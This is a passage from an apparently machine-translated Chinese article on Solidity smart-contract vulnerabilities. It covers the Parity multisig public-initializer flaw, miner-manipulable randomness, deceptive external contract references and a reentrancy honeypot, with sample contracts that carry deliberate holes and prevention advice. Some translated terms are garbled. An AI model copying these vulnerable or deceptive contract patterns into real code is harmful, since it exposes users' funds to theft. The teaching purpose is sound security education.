// constructor is given number of sigs required to do protected "onlymanyowners" transactions

// as well as the selection of addresses capable of confirming them.

function initMultiowned(address[] _owners, uint _required) {

m_numOwners = _owners.length + 1;

m_owners[1] = uint(msg.sender);

m_ownerIndex[uint(msg.sender)] = 1;

for (uint i = 0; i < _owners.length; ++i)

{

m_owners[2 + i] = uint(_owners[i]);

m_ownerIndex[uint(_owners[i])] = 2 + i;

}

m_required = _required;

}

...

// constructor - just pass on the owner array to the multiowned and

// the limit to daylimit

function initWallet(address[] _owners, uint _required, uint _daylimit) {

initDaylimit(_daylimit);

initMultiowned(_owners, _required);

}

}

請注意,這兩個函數都沒有明確指定可見性。這兩個函數默認為public。該initWallet()函數在錢包構造函數中調用,並設置多sig錢包的所有者,如initMultiowned()函數中所示。由於這些功能被意外留下public,攻擊者可以在部署的合約上調用這些功能,並將所有權重置為攻擊者地址。作為主人,襲擊者隨後將所有以太網的錢包損失至3100萬美元。

函數錯誤

以太坊區塊鏈上的所有交易都是確定性的狀態轉換操作。這意味著每筆交易都會改變以太坊生態系統的全球狀態,並且它以可計算的方式進行,沒有不確定性。這最終意味著在區塊鏈生態系統內不存在函數或隨機性的來源。rand()在Solidity中沒有功能。實現分散函數(隨機性)是一個完善的問題,許多想法被提出來解決這個問題(見例如,RandDAO或使用散列的鏈在這個由Vitalik的描述後)。

漏洞

在以太坊平臺上建立的一些首批合約基於賭博。從根本上講,賭博需要不確定性(可以下注),這使得在區塊鏈(一個確定性系統)上構建賭博系統變得相當困難。很明顯,不確定性必須來自區塊鏈外部的來源。這可能會導致同行之間的投注(例如參見承諾揭示技術),但是,如果要執行合約作為房屋,則顯然更困難(如在二十一點我們的輪盤賭)。常見的陷阱是使用未來的塊變量,如散列,時間戳,塊數或gas限制。與這些問題有關的是,他們是由開採礦塊的礦工控制的,因此並不是真正隨機的。

例如,考慮一個帶有邏輯的輪盤智能合約,如果下一個塊散列以偶數結尾,則返回一個黑色數字。一個礦工(或礦工池)可以在黑色上下注$ 1M。如果他們解決下一個塊並發現奇數的哈希結束,他們會高興地不發佈他們的塊和我的另一個塊,直到他們發現塊散列是偶數的解決方案(假設塊獎勵和費用低於1美元M)。Martin Swende在其優秀的博客文章中表明,使用過去或現在的變量可能會更具破壞性。此外,單獨使用塊變量意味著偽隨機數對於一個塊中的所有交易都是相同的,所以攻擊者可以通過在一個塊內進行多次交易來增加他們的勝利(應該有最大的賭注)。

預防技術

函數(隨機性)的來源必須在區塊鏈外部。這可以通過諸如commit-reveal之類的系統或通過將信任模型更改為一組參與者(例如RandDAO)來完成。這也可以通過一個集中的實體來完成,這個實體充當一個隨機性的預言者。塊變量(一般來說,有一些例外)不應該被用來提供函數,因為它們可以被礦工操縱。

真實世界示例:PRNG合約

Arseny Reutov 在分析了3649份使用某種偽隨機數發生器(PRNG)的實時智能合約並發現43份可被利用的合約之後寫了一篇博文。這篇文章詳細討論了使用塊變量作為函數的缺陷。

外部合約引用

以太坊全球計算機的好處之一是能夠重複使用代碼並與已部署在網絡上的合約進行交互。因此,大量合約引用外部合約,並且在一般運營中使用外部消息調用來與這些合約交互。這些外部消息調用可以以一些非顯而易見的方式來掩蓋惡意行為者的意圖,我們將討論這些意圖。

漏洞

在Solidity中,無論地址上的代碼是否表示正在施工的合約類型,都可以將任何地址轉換為合約。這可能是騙人的,特別是當合約的作者試圖隱藏惡意代碼時。讓我們以一個例子來說明這一點: 考慮一個代碼,它基本上實現了Rot13密碼。

Rot13Encryption.sol:

//encryption contract

contract Rot13Encryption {

event Result(string convertedString);

//rot13 encrypt a string

function rot13Encrypt (string text) public {

uint256 length = bytes(text).length;

for (var i = 0; i < length; i++) {

byte char = bytes(text)[i];

//inline assembly to modify the string

assembly {

char := byte(0,char) // get the first byte

if and(gt(char,0x6D), lt(char,0x7B)) // if the character is in [n,z], i.e. wrapping.

{ char:= sub(0x60, sub(0x7A,char)) } // subtract from the ascii number a by the difference char is from z.

if iszero(eq(char, 0x20)) // ignore spaces

{mstore8(add(add(text,0x20), mul(i,1)), add(char,13))} // add 13 to char.

}

}

emit Result(text);

}

// rot13 decrypt a string

function rot13Decrypt (string text) public {

uint256 length = bytes(text).length;

for (var i = 0; i < length; i++) {

byte char = bytes(text)[i];

assembly {

char := byte(0,char)

if and(gt(char,0x60), lt(char,0x6E))

{ char:= add(0x7B, sub(char,0x61)) }

if iszero(eq(char, 0x20))

{mstore8(add(add(text,0x20), mul(i,1)), sub(char,13))}

}

}

emit Result(text);

}

}

這個代碼只需要一個字符串(字母az,沒有驗證),並通過將每個字符向右移動13個位置(圍繞'z')來加密它; 即'a'轉換為'n','x'轉換為'k'。這裡的集合並不重要,所以如果在這個階段沒有任何意義,不要擔心。

考慮以下使用此代碼進行加密的合約,

import "Rot13Encryption.sol";

// encrypt your top secret info

contract EncryptionContract {

// library for encryption

Rot13Encryption encryptionLibrary;

// constructor - initialise the library

constructor(Rot13Encryption _encryptionLibrary) {

encryptionLibrary = _encryptionLibrary;

}

function encryptPrivateData(string privateInfo) {

// potentially do some operations here

encryptionLibrary.rot13Encrypt(privateInfo);

}

}

這個合約的問題是encryptionLibrary地址不公開或不變。因此,合約的配置人員可以在指向該合約的構造函數中給出一個地址:

//encryption contract

contract Rot26Encryption {

event Result(string convertedString);

//rot13 encrypt a string

function rot13Encrypt (string text) public {

uint256 length = bytes(text).length;

for (var i = 0; i < length; i++) {

byte char = bytes(text)[i];

//inline assembly to modify the string

assembly {

char := byte(0,char) // get the first byte

if and(gt(char,0x6D), lt(char,0x7B)) // if the character is in [n,z], i.e. wrapping.

{ char:= sub(0x60, sub(0x7A,char)) } // subtract from the ascii number a by the difference char is from z.

if iszero(eq(char, 0x20)) // ignore spaces

{mstore8(add(add(text,0x20), mul(i,1)), add(char,26))} // add 13 to char.

}

}

emit Result(text);

}

// rot13 decrypt a string

function rot13Decrypt (string text) public {

uint256 length = bytes(text).length;

for (var i = 0; i < length; i++) {

byte char = bytes(text)[i];

assembly {

char := byte(0,char)

if and(gt(char,0x60), lt(char,0x6E))

{ char:= add(0x7B, sub(char,0x61)) }

if iszero(eq(char, 0x20))

{mstore8(add(add(text,0x20), mul(i,1)), sub(char,26))}

}

}

emit Result(text);

}

}

它實現了rot26密碼(每個角色移動26個地方,得到它?:p)。再次強調,不需要了解本合約中的程序集。部署人員也可以鏈接下列合約:

contract Print{

event Print(string text);

function rot13Encrypt(string text) public {

emit Print(text);

}

}

如果這些合約中的任何一個的地址都在構造encryptPrivateData()函數中給出,那麼該函數只會產生一個打印未加密的私有數據的事件。儘管在這個例子中,在構造函數中設置了類似庫的協定,但是特權用戶(例如owner)可以更改庫合約地址。如果鏈接合約不包含被調用的函數,則將執行回退函數。例如,對於該行encryptionLibrary.rot13Encrypt(),如果指定的合約encryptionLibrary是:

contract Blank {

event Print(string text);

function () {

emit Print("Here");

//put malicious code here and it will run

}

}

那麼會發出一個帶有“Here”文字的事件。因此,如果用戶可以更改合約庫,原則上可以讓用戶在不知不覺中運行任意代碼。

注意:不要使用這些加密合約,因為智能合約的輸入參數在區塊鏈上可見。另外,Rot密碼並不是推薦的加密技術:p

預防技術

如上所示,無漏洞合約可以(在某些情況下)以惡意行為的方式進行部署。審計人員可以公開驗證合約並讓其所有者以惡意方式進行部署,從而產生具有漏洞或惡意的公開審計合約。 有許多技術可以防止這些情況發生。 一種技術是使用new關鍵字來創建合約。在上面的例子中,構造函數可以寫成:

constructor(){

encryptionLibrary = new Rot13Encryption();

}

這樣,引用合約的一個實例就會在部署時創建,並且部署者不能在Rot13Encryption不修改智能合約的情況下用其他任何東西替換合約。

另一個解決方案是如果已知的話,對任何外部合約地址進行硬編碼。

一般來說,應該仔細查看調用外部契約的代碼。作為開發人員,在定義外部合約時,最好將合約地址公開(這種情況並非如此),以便用戶輕鬆查看合約引用哪些代碼。相反,如果合約具有私人變量合約地址,則它可能是某人惡意行為的標誌(如現實示例中所示)。如果特權(或任何)用戶能夠更改用於調用外部函數的合約地址,則可能很重要(在分散的系統上下文中)來實現時間鎖定或投票機制,以允許用戶查看哪些代碼正在改變或讓參與者有機會選擇加入/退出新的合約地址。

真實世界的例子:重入蜜罐

主網上發佈了一些最近的蜜罐。這些合約試圖勝過試圖利用合約的以太坊黑客,但是誰又會因為他們期望利用的合約而失敗。一個例子是通過在構造函數中用惡意代替期望的合約來應用上述攻擊。代碼可以在這裡找到:

pragma solidity ^0.4.19;

contract Private_Bank

{

mapping (address => uint) public balances;

uint public MinDeposit = 1 ether;

Log TransferLog;

function Private_Bank(address _log)

{

TransferLog = Log(_log);

}

function Deposit()

public

payable

{

if(msg.value >= MinDeposit)

{

balances[msg.sender]+=msg.value;

TransferLog.AddMessage(msg.sender,msg.value,"Deposit");

}

}

function CashOut(uint _am)

{

if(_am<=balances[msg.sender])

{

if(msg.sender.call.value(_am)())

{

balances[msg.sender]-=_am;

TransferLog.AddMessage(msg.sender,_am,"CashOut");

}

}

}

function() public payable{}

}

contract Log

{

struct Message

{

address Sender;

string Data;

uint Val;

uint Time;

}

Message[] public History;

Message LastMsg;

function AddMessage(address _adr,uint _val,string _data)

public

{

LastMsg.Sender = _adr;

LastMsg.Time = now;

LastMsg.Val = _val;

LastMsg.Data = _data;

History.push(LastMsg);

}

}

一位reddit用戶發佈的這篇文章解釋了他們如何在合約中失去1位以試圖利用他們預計會出現在合約中的重入錯誤。

未完待續...

文章發佈只為分享區塊鏈技術內容,版權歸原作者所有,觀點僅代表作者本人,絕不代表區塊鏈兄弟贊同其觀點或證實其描述。


分享到:


相關文章: